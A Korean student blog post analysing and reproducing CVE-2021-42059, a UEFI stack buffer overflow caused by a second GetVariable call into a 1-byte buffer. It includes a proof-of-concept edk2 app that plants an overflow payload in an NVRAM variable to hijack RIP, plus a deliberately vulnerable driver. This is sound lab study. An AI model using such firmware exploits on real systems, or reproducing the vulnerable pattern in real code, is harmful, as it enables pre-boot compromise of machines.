CVE-2021-42059 분석 및 실습

2026. 2. 19. 19:16·CS/Graduation project

CVE-2021-42059

  • NVD:  https://nvd.nist.gov/vuln/detail/cve-2021-42059
  • CWE: CWE-787(Out-of-bounds Write)

 

 


취약 코드

 

EFI_STATUS __fastcall GetPrimaryDisplay(_BYTE *res)
{
  EFI_STATUS result; // rax
  char PrimaryDisplayValue; // [rsp+40h] [rbp+8h] BYREF
  UINTN DataSize; // [rsp+48h] [rbp+10h] BYREF

  if ( !res )
    return EFI_INVALID_PARAMETER;
  DataSize = 0i64;
  *res = 1;
  result = gRT_2F28->GetVariable(
             L"PrimaryDisplay",
             &EFI_GENERIC_VARIABLE_GUID_2DE0,
             0i64,
             &DataSize,
             &PrimaryDisplayValue);
  if ( result == EFI_BUFFER_TOO_SMALL )
    result = gRT_2F28->GetVariable(
               L"PrimaryDisplay",
               &EFI_GENERIC_VARIABLE_GUID_2DE0,
               0i64,
               &DataSize,
               &PrimaryDisplayValue);
  if ( (result & 0x8000000000000000ui64) == 0i64 )
  {
    if ( (PrimaryDisplayValue & 0xFB) != 0 )
    {
      if ( ((PrimaryDisplayValue - 1) & 0xFD) != 0 )
      {
        if ( PrimaryDisplayValue == 2 )
          *res = 2;
      }
      else
      {
        *res = 1;
      }
    }
    else
    {
      *res = 0;
    }
    return 0i64;
  }
  return result;
}

먼저 함수는 PrimaryDisplay라는 NVRAM 변수를 읽기 위해 gRT->GetVariable()을 호출한다. 이 과정에서 변수의 실제 크기가 반환되어 지역 변수인 DataSize가 업데이트 된다.

 

첫 번째 호출 결과가 EFI_BUFFER_TOO_SMALL일 경우, 함수는 업데이트된 DataSize를 가지고 gRT->GetVariable()을 다시 호출하며, 이를 통해 PrimaryDisplayValue라는 지역 변수에 실제 값을 저장하려 시도한다.

 

하지만 값을 저장할 버퍼인 PrimaryDisplayValue는 스택 상에 단 1바이트(char) 크기로 할당되어 있다. 만약 NVRAM 변수에 저장된 데이터가 1바이트보다 크다면, 두 번째 호출 시 1바이트 버퍼를 넘어서 스택의 다른 메모리 영역을 덮어쓰게 된다.

 

 

 

 


실습

 

실습을 위해 악성페이로드를 NVRAM 변수에 주입하는 앱과, 취약한 드라이버를 edk2 환경에 맞게 재작성했다.

 

 

1. BRLY-2021-021-Exploit.c

 

먼저 악성 페이로드를 메모리에 미리 세팅하는 익스플로잇 앱이다.

#include <Uefi.h>
#include <Library/UefiApplicationEntryPoint.h>
#include <Library/UefiRuntimeServicesTableLib.h>
#include <Library/DebugLib.h>

EFI_GUID gGuid = { 0x11111111, 0x2222, 0x3333, { 0x44, 0x55, 0x66, 0x77, 0x88, 0x99, 0xAA, 0xBB } };

EFI_STATUS
EFIAPI
ExploitAppEntryPoint(
    IN EFI_HANDLE ImageHandle,
    IN EFI_SYSTEM_TABLE *SystemTable
)
{
    EFI_STATUS Status;
    
    UINTN DataSize = 64;
    UINT8 Payload[64];

    DEBUG ((DEBUG_INFO, "Preparing Malicious Payload...\n"));

    for(UINTN i = 0; i < 33; i++){
        Payload[i] = 0x41;
    }

    UINT64 FakeReturnAddress = 0xDEADBEEFDEADBEEF;
    *(UINT64*)(&Payload[33]) = FakeReturnAddress;

    for (UINTN i = 41; i < 64; i++) {
        Payload[i] = 0x43;
    }
    
    Status = gRT->SetVariable (
                  L"MyVulnVar",
                  &gGuid,
                  EFI_VARIABLE_NON_VOLATILE | EFI_VARIABLE_BOOTSERVICE_ACCESS | EFI_VARIABLE_RUNTIME_ACCESS, //
                  DataSize,
                  Payload
                  );

    if (EFI_ERROR(Status)) {
        DEBUG ((DEBUG_ERROR, "Failed to set variable! Status: %r\n", Status));
    } else {
        DEBUG ((DEBUG_INFO, "Variable successfully set!\n"));
    }

    return EFI_SUCCESS;
}

익스플로잇을 위해 NVRAM 변수를 세팅하는 역할을 한다.

 

 

이때 원래 페이로드는 문서의 PoC를 참고하여 40으로 임의 설정했으나, gdb를 통해 info frame 명령어로 스택 프레임을 분석했을 때, 시작주소가 예상과 다르게 7바이트만큼 밀린 것을 확인했다. 이에 따라 페이로드를 33위치로 수정했다.

 

 

 

2. BRLY-2021-021.c

#include <Uefi.h>
#include <Library/UefiBootServicesTableLib.h>
#include <Library/UefiRuntimeServicesTableLib.h>
#include <Library/DebugLib.h>

EFI_GUID gGuid = { 0x11111111, 0x2222, 0x3333, { 0x44, 0x55, 0x66, 0x77, 0x88, 0x99, 0xAA, 0xBB } };

EFI_STATUS
EFIAPI
TriggerVulnerability (OUT UINT8 *Res)
{
  EFI_STATUS Status;
  UINT8      VulnBuffer; 
  UINTN      DataSize = 0;

  if (Res == NULL) return EFI_INVALID_PARAMETER;
  *Res = 1;

  Status = gRT->GetVariable(L"MyVulnVar", &gGuid, NULL, &DataSize, &VulnBuffer);
  
  if (Status == EFI_BUFFER_TOO_SMALL) {
    Status = gRT->GetVariable(L"MyVulnVar", &gGuid, NULL, &DataSize, &VulnBuffer);
  }

  return Status;
}

EFI_STATUS
EFIAPI
VulnDriverEntryPoint (
  IN EFI_HANDLE        ImageHandle,
  IN EFI_SYSTEM_TABLE  *SystemTable
  )
{
  UINT8 DummyRes;
  
  DEBUG ((DEBUG_INFO, "Loaded during Boot Phase\n"));
  
  TriggerVulnerability (&DummyRes);
  
  return EFI_SUCCESS;
}

로드할 드라이버로, 실제 취약한 코드와 마찬가지로 GetVariable 함수를 두 번 호출하도록 구성했다. 첫 번째 호출을 하면 데이터의 실제 크기를 알아내어 DataSize를 업데이트하고, 반환값이 EFI_BUFFER_TOO_SMALL일 때 업데이트된 크기 그대로 1바이트 크기의 지역 변수에 데이터를 들이붓는 역할을 한다.

 

 

 

 

결과

BRLY-2021-021-Exploit.c를 통해 악성 페이로드가 담긴 MyVulnVar NVRAM 변수를 생성하고 BRLY-2021-021.c 드라이버를 로드하면, 터지면서 RIP가 기존에 세팅해둔 DEADBEEFDEADBEEF로 변경되는 것을 확인할 수 있다.

 

 

 

 

 

결론 

  1. 개발자가 1바이트 버퍼와 데이터 사이즈를 초기화함.
  2. 첫 번째 GetVariable 호출 이후 데이터 사이즈 변수(DataSize)의 값이 실제 변수 크기(예: 64바이트)로 증가함.
  3. 개발자가 버퍼 크기를 늘리거나 이를 다시 초기화하지 않고 두 번째 GetVariable을 호출함.
  4. UEFI 서비스는 증가된 DataSize만큼의 데이터를 1바이트 버퍼에 복사함.
  5. 스택 버퍼 오버플로우 발생 및 실행 흐름 탈취.

 

 

 

 


참고

 

https://github.com/binarly-io/Vulnerability-REsearch/blob/main/Insyde/BRLY-2021-021.md

 

Vulnerability-REsearch/Insyde/BRLY-2021-021.md at main · binarly-io/Vulnerability-REsearch

Binarly Vulnerability Research Advisories. Contribute to binarly-io/Vulnerability-REsearch development by creating an account on GitHub.

github.com

'CS > Graduation project' 카테고리의 다른 글

[UEFI] CommBuffer 검증 우회 (Ring -2)  (0) 2026.02.24
[UEFI] BRLY-2022-016 분석 및 재현 (CommBuffer)  (0) 2026.02.23
[UEFI] 기드라 스크립트 검증과 오탐 분석  (0) 2026.02.19
CVE-2021-39297 분석 및 실습  (0) 2026.02.14
[UEFI] SetVariable()  (0) 2026.02.14
'CS/Graduation project' 카테고리의 다른 글
  • [UEFI] CommBuffer 검증 우회 (Ring -2)
  • [UEFI] BRLY-2022-016 분석 및 재현 (CommBuffer)
  • [UEFI] 기드라 스크립트 검증과 오탐 분석
  • CVE-2021-39297 분석 및 실습
tteokbokki-master
tteokbokki-master
공부하며 알아가는 걸 조금씩 정리하고 있어요
  • tteokbokki-master
    용로그
    tteokbokki-master
  • 전체
    오늘
    어제
    • 분류 전체보기
      • CS
        • 컴파일러개론
        • Graduation project
      • 프로그래밍 언어
        • HTML & CSS
        • JavaScript
        • React 기초
        • 파이썬 기초
        • TanStack-Query
        • C언어 기초
        • git
        • 리눅스
        • 코딩테스트 공부
      • 개발 지식
      • 언어학
        • 의미론
      • 회고 및 기록
      • 프로젝트
        • TodoList 만들기
        • 학수고대 프로젝트
        • 2025 동계 모각코 (안조용희)
      • 기타
        • [JS-0기] 한입 FE 챌린지
        • 서평
  • 인기 글

  • 글쓰기 / 관리
  • hELLO· Designed By정상우.v4.10.3
tteokbokki-master
CVE-2021-42059 분석 및 실습
상단으로

티스토리툴바